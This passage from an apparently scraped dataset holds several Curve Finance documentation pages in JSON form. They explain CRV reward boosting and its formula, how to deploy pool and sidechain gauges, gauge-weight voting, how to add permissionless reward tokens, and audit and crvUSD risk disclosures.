"Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Boosting your CRV rewards Table of contents Figuring out the required boost Locking CRV Applying the boost Boost Info Formula Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Figuring out the required boost Locking CRV Applying the boost Boost Info Formula Home Reward Gauges Boosting your CRV rewards This guide assumes the reader has already provided liquidity and is currently staking LP tokens on the DAO gauge. One of the main incentives for CRV is the ability to boost rewards on provided liquidity. Vote locking CRV enables the acquisition of voting power to participate in the DAO and earn a boost of up to 2.5x on the liquidity provided on Curve. Boosting your CRV rewards Figuring out the required boost The first step to getting rewards boosted is to determine the amount of CRV needed for lock. Each gauge has different requirements, meaning some pools are easier to boost than others. This depends on the amount others have locked and the liquidity gauge's capacity. The calculator can be found at this address: https://dao.curve.fi/minter/calc Locking CRV After determining how much and for how long to lock, visit the following page: https://dao.curve.fi/locker Enter the amount to lock and select the expiry. Remember, locking is not reversible. The amount of veCRV received will depend on the amount and duration of the vote lock. A lock can be extended, and CRV can be added to it at any point, but having CRV with different expiry dates is not possible. After creating a lock, the next step is to apply the boost. Applying the boost Proceed to the minter page: https://dao.curve.fi/minter/gauges If the new boost is visible after 'Current boost:', then no further action is required. If the current boost hasn't updated, it may be necessary to claim CRV from each of the gauges where liquidity is provided to update the boost. After doing so, the boost should be visible. Locking your Boost Boosts are only updated when a withdrawal, deposit, or claim is made from a liquidity gauge Boost Info The list of pools and boost/reward information has been relocated from the minter page. This information can now be found on each pool page on the classic.curve.fi site. Alternatively, this information is also available in the new UI ( curve.fi ) under the \"Your Details\" section on the pool page. Note: The new UI does not display future boost yet. Visit the old or new dashboard to see all your pools! Formula The boost mechanism calculates the earning weight of the liquidity you provide to pools and vaults. If you have enough voting weight (veCRV) you will be able to boost the earning weight of the liquidity you provide by up to 2.5x. This means if you have a boost of 2.5x and deposit $10,000 of value to a pool your rewards are for $25,000 of value in the pool. The formula for calculating your boost ( \\(B\\) ) is given below. \\(B\\) has a maximum of 2.5 so if the formula gives a value greater than 2.5 then your boost is 2.5. \\[B = 1.5 \\times \\frac{D \\times v}{V \\times d} + 1\\] Where: \\(B\\) is your rewards boost (if it's more than 2.5 it just equals 2.5). \\(d\\) is the value you deposit, in USD. \\(D\\) is the total value deposited to the pool's reward gauge, in USD. \\(v\\) is the amount of veCRV you have (vote weight). \\(V\\) is the total veCRV in the system (total vote weight) click here to find the current amount. Back to top", "labels": ["Documentation"]}, {"title": "Creating a pool gauge", "html_url": "https://resources.curve.fi/reward-gauges/creating-a-pool-gauge/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Creating a pool gauge Table of contents Deploying a Pool Gauge with the UI Pool Types: Deploy Mainnet Pool Gauge Deploy Sidechain Pool Gauge Deploy a Gauge for an Ethereum Mainnet Pool via Etherscan Deploy a Gauge for a Sidechain Pool via Etherscan Deploying the Sidechain (Child) Gauge Deploying the Ethereum Mainchain Root (Parent) Gauge Submit a DAO Vote Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Deploying a Pool Gauge with the UI Pool Types: Deploy Mainnet Pool Gauge Deploy Sidechain Pool Gauge Deploy a Gauge for an Ethereum Mainnet Pool via Etherscan Deploy a Gauge for a Sidechain Pool via Etherscan Deploying the Sidechain (Child) Gauge Deploying the Ethereum Mainchain Root (Parent) Gauge Submit a DAO Vote Home Reward Gauges Creating a pool gauge You can deploy the gauge directly through the UI if the gauge is for a pool . To do so go to the following page: https://curve.fi/#/ethereum/deploy-gauge . If you would like to deploy a gauge for a lending market , then follow the guide on the Create Lending Market page. Deploying a Pool Gauge with the UI Go to the Curve page to deploy a gauge here: https://curve.fi/#/ethereum/deploy-gauge . This page has a switch with 2 options: Deploy Mainnet Gauge - Deploy a gauge for a pool on Ethereum Mainnet Deploy Sidechain Gauge - Deploy a gauge for a pool on any other chain Curve has deployed to. These different options have slightly different processes for deploying the gauge, but both options require that you choose the correct pool type for the gauge that is being deployed. Pool Types: Stableswap - a pool with up to 8 pegged assets e.g., USDC and USDT Two Coin Cryptoswap - a pool with 2 volatile assets e.g., USDC and ETH Three Coin Cryptoswap - a pool with 3 volatile assets e.g., USDC, ETH and CRV Stableswap (old) - an old pool with pegged assets e.g., USDC and USDT. Two Coin Cryptoswap (old) - an old pool with 2 volatile assets e.g., USDC and ETH A pool is classified as old if it is not a New Generation (NG) pool. If the pool was deployed from 2024 onwards it should be a NG pool. If you are not sure on the pool type then try all options when deploying the gauge, the UI will show an error if the wrong option is chosen or the pool already has a gauge deployed. Deploy Mainnet Pool Gauge Go to the Deploy Gauge page, and make sure the switch in the right hand corner is set to the left as shown below. The \"Deploy Mainnet Gauge\" screen should be visible as below. Simply input the pool address (0x...) and select the pool type from the drop down menu . Note the pool type may be pre-selected for you, if this is the case, this does not need to be changed . After the options have been inputted, click on deploy gauge and submit the transaction using your preferred wallet. The UI will show an error if the incorrect pool type is selected, or a gauge already exists for the pool, so there is no harm in trying all options if you are unsure of the pool type. After clicking on deploy and the transaction is confirmed the gauge is deployed. A vote can then be created to add it to the gauge controller . Adding the gauge to the gauge controller allows the gauge to receive CRV rewards for stakers when the gauge is allocated gauge weight . Deploy Sidechain Pool Gauge Sidechain gauges (the same as L2 gauges) work differently to a mainnet gauge. They have a gauge on the sidechain which distributes rewards, as well as a mirror gauge on Ethereum mainnet so that the gauge can receive gauge weight and CRV inflation rewards. This parent-child relationship is required because all Curve governance currently happens on Ethereum Mainnet. Warning The same address must deploy the gauge both on mainnet and the sidechain for this process to work. To deploy a sidechain gauge go to the Deploy Gauge page. The click the switch so it's on the right as shown below. The \"Deploy Sidechain Gauge\" screen will then be shown. Then connect to the chain you would like to deploy the sidechain gauge to, which is the chain the pool resides on. In this example we are choosing Base as shown below, after choosing and connecting to the network, Step 1 of deploying the sidechain gauge will be shown. For step 1 simply input the LP Token Address (same as pool address for newer pools, but can be different for older pools) and select the pool type from the drop down menu and click deploy gauge . The UI will show an error if the incorrect pool type is selected, or a gauge already exists for the pool, so there is no harm in trying all options if you are unsure of the pool type. After the gauge has been deployed on the sidechain (called the child gauge), the mirror gauge must be deployed on Ethereum Mainnet (the parent gauge), this connects the Sidechain to Ethereum and Curve governance. To go to step 2 click on the little arrow shown in the red rectangle in the picture below: Then choose the network the pool resides by clicking on the Network dropdown menu, in this example we have chosen base, as that's where the sidechain gauge was deployed. The same pool type as in step 1 must be selected carefully in step 2, as the UI will not raise an error if the wrong option is selected. Then we input the LP Token address (pool address) on the L2. The LP Token Address in step 2 is the same address as used for step 1 . After clicking on deploy and the transaction is confirmed, the gauge is deployed and a vote can be created to add it to the gauge controller . Adding the gauge to the gauge controller allows the gauge to receive CRV rewards for stakers when the gauge is allocated gauge weight . Deploy a Gauge for an Ethereum Mainnet Pool via Etherscan In addition to the UI, there is an option to deploy the gauge directly through Etherscan. If the pool was deployed recently, check the Deployment Addresses for the factory contracts, otherwise use the deployment transaction to find which contract deployed the pool/lending market, this will be the factory contract. Warning Calling deploy_gauge on Etherscan will only work if the function is called on the Factory contract that also deployed the pool. To navigate to this page, first search for the corresponding Factory contract on Etherscan. Then, go to Contract -> Write Contract -> deploy_gauge . Then insert the pool address you want to add a gauge for, press on Write and sign the transaction. Before deploying the gauge, ensure you connect your wallet by clicking the Connect to Web3 button. Deploy a Gauge for a Sidechain Pool via Etherscan To deploy a sidechain gauge we have to deploy 2 different gauges which link together: Child Gauge - This is the gauge on the sidechain, it is deployed first. Root (Parent) Gauge - This is the gauge on Ethereum Mainnet, it is deployed after the child and links the child gauge to mainnet. The root gauge can be added to the gauge controller, allowing CRV inflation rewards to flow to the sidechain gauge. Warning When deploying the Child Gauge and Root Gauge for a sidechain pool, they must be deployed using the same address and the same salt for both gauges . This creates the same address for the gauge on the sidechain and ethereum. If the addresses are not the same, the gauges cannot be linked. Deploying the Sidechain (Child) Gauge To deploy the sidechain child gauge go to Deployment Addresses for Sidechain Gauge Factories . Find the ChildLiquidityGaugeFactory address for your sidechain and click on it. This will take you to the contract page on the sidechain's block explorer. Then go to Contract -> Write Contract -> Connect to Web3 . After your wallet is connected, find the deploy_gauge function. There may be multiple deploy_gauge functions, this is because there is an optional parameter called _manager . If the function doesn't have this option, the manager will be set to your address. It is required that your address is the manager for this gauge, otherwise the root gauge will not be linked to this child gauge. To call the function first input the _lp_token address for the pool, this is the same as the pool address for newer pools, but can be different for older pools. Then input your _salt , salt is used to create the address for your gauge, this can be anything, but salt must be the same when deploying this gauge and later when deploying the root gauge , read more about salt here . Input your address as the _manager address if it is required, then click on write and submit the transaction. After the transaction is confirmed the sidechain gauge is deployed. Deploying the Ethereum Mainchain Root (Parent) Gauge After the sidechain child gauge has been successfully deployed, the Ethereum mainchain root gauge can be deployed. To do so go back to the Deployment Addresses for Sidechain Gauge Factories . You should see the table below: The correct RootLiquidityGaugeFactory contract on Ethereum must be chosen. Most root gauges for sidechains are deployed using the top contract boxed in blue, but some sidechains use their own special contracts, e.g., see the contract for Fractal boxed in red, or the BSC contract boxed in yellow. If there isn't a specific RootLiquidityGaugeFactory for your sidechain, then use the first one. Once the correct contract is found click on the address and you will be taken to the contract page on etherscan. Once again go to Contract -> Write Contract -> Connect to Web3 to connect your wallet as shown above. This must be the same wallet that deployed the sidechain child gauge . Then click on the deploy_gauge function. In this function the payableAmount can be inputted as 0, the _chain_id must be the chain id of the sidechain your pool and gauge is on. This can be easily found from chainlist.org . The _salt must be the same as the salt used to deploy the sidechain child gauge. Click on write , and submit the transaction, after this is complete the gauge is root gauge is deployed and this process is complete. You can now submit a gauge vote to get the root gauge added to the gauge controller, see the process below. Submit a DAO Vote In order for a gauge to become eligible to receive CRV emissions, it has to be added to the GaugeController. This needs to be approved by the DAO. Once you've created your gauge, you can submit it to the DAO for a vote: https://classic.curve.fi/factory/create_vote . If the gauge is for a pool on a sidechain, input the parent gauge address (Ethereum gauge address) here. The address that submits must have 2500 veCRV in order to create a vote. Once the gauge has been submitted, politics take over. You may want to visit the governance forum and explain why your pool should be made eligible for rewards. Governance Forum Back to top", "labels": ["Documentation"]}, {"title": "Gauge weights", "html_url": "https://resources.curve.fi/reward-gauges/gauge-weights/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Gauge weights Table of contents What are gauge weights? Why are gauge weights so important? Who can vote for gauge weights? How can I vote? How often can I move my voting weight? What happens when I add additional CRV to my existing lock or extend the locktime? Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents What are gauge weights? Why are gauge weights so important? Who can vote for gauge weights? How can I vote? How often can I move my voting weight? What happens when I add additional CRV to my existing lock or extend the locktime? Home Reward Gauges Gauge weights What are gauge weights? Simply put, a gauge weight translates into how much of the daily CRV inflation it receives. For example on the below chart, the Y pool is currently receiving around 72% of the daily CRV inflation. This means that all liquidity providers in the Y pool share 72% of the daily CRV. You can find each liquidity gauge relative weight on this page: https://dao.curve.fi/minter/gauges Why are gauge weights so important? Because those weights decide where the CRV inflation goes, it allows the DAO to control where most of the liquidity should go and balance liquidity. It's a powerful tool for voters that must be used responsibly. The gauge weight is updated once a week on Thursdays. Who can vote for gauge weights? Anybody who has vote locked CRV can vote to direct its voting power towards one or multiple Curve pools. How can I vote? Visit this link: https://dao.curve.fi/gaugeweight Select the gauge you would like to put your voting weight towards, enter an amount in BPS (10,000 = 100% the maximum) and confirm your transaction. How often can I move my voting weight? You can change your voting weight once every 10 days. What happens when I add additional CRV to my existing lock or extend the locktime? Adding more $CRV to your lock or extending the locktime increases your veCRV balance. This increase is not automatically accounted for in your current gauge weight votes. If you want to allocate all of your newly acquired voting power, make sure to re-vote. Warning Resetting your gauge weight before re-voting means you'll need to wait 10 days to vote for the gauges whose weight you've reset. So, please ensure you simply re-vote; there is no need to reset your gauge weight votes before voting again. Back to top", "labels": ["Documentation"]}, {"title": "Overview", "html_url": "https://resources.curve.fi/reward-gauges/overview/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Overview Table of contents Gauge Weights Gauge Weight Voting When are the weights and rewards updated? Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Gauge Weights Gauge Weight Voting When are the weights and rewards updated? Home Reward Gauges Overview On Curve Finance, CRV inflation goes to users who stake in Reward Gauges in Pools and Lending markets. Many Curve pools and lending markets have Reward Gauges. By staking liquidity provider tokens in these gauges, users earn rewards proportional to their share of the total staked value. Some special gauges also exist to fund specific initiatives, like Vyper development (veFunder-vyper). Gauge Weights For a Gauge to receive CRV emissions it must be added to the GaugeController . The DAO must vote and approve each new gauge added, more details here . Each Gauge added to the GaugeController has a weight and a type. The weights represent how much of the daily [CRV inflation]](../crv-token/supply-distribution.md#community-emissions-crv-inflation) will be received by the rewards gauge. Gauge Weight Voting The weight system allow the Curve DAO to dictate where the CRV inflation should go. You can vote at this address: https://dao.curve.fi/gaugeweight By doing so, users with veCRV can put direct their voting power towards the pool, lending market or other gauge they think should receive the most CRV. When are the weights and rewards updated? On Ethereum mainnet weights and rewards are updated every Thursday 00:00 UTC . On L2s and other chains, weights and rewards start on flow to intermediary gauge contracts on Ethereum mainnet every Thursday 00:00 UTC, then from the following Thursday 00:00 UTC (1 week later) they flow to gauge stakers on the L2s. So cross-chain gauge rewards are 1 week behind Ethereum mainnet . Back to top", "labels": ["Documentation"]}, {"title": "Permissionless Token Rewards ", "html_url": "https://resources.curve.fi/reward-gauges/permissionless-rewards/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Permissionless rewards Table of contents Setting the Reward Token and Distributor Address Approving the Reward Token for Deposit Depositing the Reward Token Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Setting the Reward Token and Distributor Address Approving the Reward Token for Deposit Depositing the Reward Token Home Reward Gauges Permissionless Token Rewards This section explains the process of setting any token reward using Etherscan. It's assumed that the user possesses some familiarity with Etherscan or are competent in executing the transaction through an alternative tool. These rewards are called permissionless as the CurveDAO does not control them . They are not completely permissionless however, as only the admin or manager of the gauge can approve and add these token rewards . Warning Note that Curve has employed various gauge versions over time. If your attempts are unsuccessful, it might be due to version differences. Please don't hesitate to reach out to the Curve team. Permissionless rewards are added in the following flow: Set reward token and distributor address. Approve reward token. Add rewards. Setting the Reward Token and Distributor Address By calling the add_reward function on a specific gauge a token can be added to the gauge's list of approved reward tokens. To call the function the reward token contract address and the distributor address must be specified. The distributor address is the source from which the reward token will be sent to the gauge. Info Ensure you have the required admin/manager permissions for the gauge. The address that deployed the gauge is set as the admin/manager . If you are not admin/manager, the transaction will fail. To identify the manager, check the manager/admin in the \"Read Contract\" section on Etherscan. Some versions of this contract may also allow the factory owner to execute this call. The deployer of the gauge is usually the manager of the gauge if the gauge was deployed via the Factory Contracts. This function should be called only once for a specific reward token. A repeated call to add_reward using a previously set reward token will fail. However, the distributor address for an already added reward token can be updated using the set_reward_distributor function. Over the lifetime of a gauge, a total of 8 different reward tokens can be set. add_reward(_reward_token: address, _distributor: address): Function to add specify a reward token and distributor for the gauge. Once a reward tokens is added, it can not be removed anymore. Parameter Type Description _reward_token address Reward Token Address _distributor address Distributor Address, who can add the Reward Token Approving the Reward Token for Deposit Visit the reward token's contract address (not the gauge contract address) on Etherscan and switch to the \"Write Contract\" tab. Use the approve function, setting the spender as the gauge contract address and specifying the desired amount. approve(_spender : address, _value : uint256) -> bool: Function to approve _spender to transfer _value tokens. Parameter Type Description _spender address Gauge Contract Address _value uint256 Amount to approve Depositing the Reward Token When depositing the reward token to the contract a time period is chosen ( _epoche seconds). After depositing the reward epoch begins, lasting the defined number of seconds chosen by the depositor ( _epoch seconds). Rewards are streamed at a constant rate per second to all gauge stakers over the epoch time period. If no additional rewards of this token are deposited before the end of this time period, the rewards stop when the time period elapses. Reward epochs are token specific. Different reward tokens can have different epoch time periods. If additional rewards for a currently streaming token are added mid epoch, both the newly added tokens and all the remaining tokens are combined (rewards = remaining + new), triggering a fresh epoch for the newly defined period of time. For consistent reward distributions, it's advisable to deposit near the end of an epoch. If replenishing mid-epoch, ensure you compute the appropriate amount for a steady distribution rate. More information here . deposit_reward_token(_reward_token: address, _amount: uint256, _epoch: uint256 = WEEK) Function to deposit _amount of _reward_token into the gauge over the period of _epoch seconds. When depositing it is optional to use the _epoch parameter. This is set to WEEK which means the rewards will be streamed to the gauge stakers over a 1 week period (604800 seconds). Info The _epoch parameter was added in newer versions of the gauge. In older versions, rewards are all streamed over a 1 week period. Parameter Type Description _reward_token address Reward Token Address _amount uint256 Amount to be distributed over the week _epoch uint256 Duration the rewards are distributed across, denominated in seconds. Defaults to a week (604800s). Back to top", "labels": ["Documentation"]}, {"title": "Security & Audits", "html_url": "https://resources.curve.fi/risks-security/security/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Security & Audits Table of contents Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Audits Home Risks, Security & Audits Security & Audits Curve Finance emphasizes its commitment to security by regularly undergoing audits from reputable third-party firms. These audits aim to uncover potential vulnerabilities and ensure that the protocol's smart contracts function as intended. However, as with all DeFi platforms, users should be aware that engaging with Curve Finance carries inherent risks. Despite the thoroughness of audits, they do not guarantee complete security , and potential vulnerabilities might still emerge in the future. Therefore, individuals should always proceed with caution and understand that the use of the protocol is at their own risk . Audits For a detailed look into the audits Curve Finance has undergone, please refer to here . Back to top", "labels": ["Documentation"]}, {"title": "Curve Stablecoin Risk Disclosure", "html_url": "https://resources.curve.fi/risks-security/risks/crvusd/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Home Risks, Security & Audits Risks Curve Stablecoin Risk Disclosure Curve Stablecoin infrastructure enables users to mint crvUSD using a selection of crypto-tokenized collaterals (adding new ones are subject to DAO approval). Positions are managed passively: if the collateral's price decreases, the system automatically sells off collateral in a soft liquidation mode. If the collateral's price increases, the system recovers the collateral. This process could lead to some losses due to liquidation and de-liquidation. Additional information can be found on LLAMMA Overview . Please consider the following risk disclaimers when using the Curve Stablecoin infrastructure: If your collateral enters soft-liquidation mode, you can't withdraw it or add more collateral to your position. Should the price of the collateral change drop sharply over a short time interval, it can result in large losses that may reduce your loan's health. If you are in soft-liquidation mode and the price of the collateral goes up sharply, this can result in de-liquidation losses on the way up. If your loan's health is low, value of collateral going up could potentially reduce your underwater loan's health. If the health of your loan drops to zero or below, your position will get hard-liquidated with no option of de-liquidation. Please choose your leverage wisely, as you would with any collateralized debt position. The crvUSD stablecoin and its infrastructure are currently in beta testing. As a result, investing in crvUSD carries high risk and could lead to partial or complete loss of your investment due to its experimental nature. You are responsible for understanding the associated risks of buying, selling, and using crvUSD and its infrastructure. The value of crvUSD can fluctuate due to stablecoin market volatility or rapid changes in the liquidity of the stablecoin. crvUSD is exclusively issued by smart contracts, without an intermediary. However, the parameters that ensure the proper operation of the crvUSD infrastructure are subject to updates approved by Curve DAO. Users must stay informed about any parameter changes in the stablecoin infrastructure. Back to top", "labels": ["Documentation"]}, {"title": "Curve Lending: Risk Disclaimer", "html_url": "https://resources.curve.fi/risks-security/risks/lending/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ 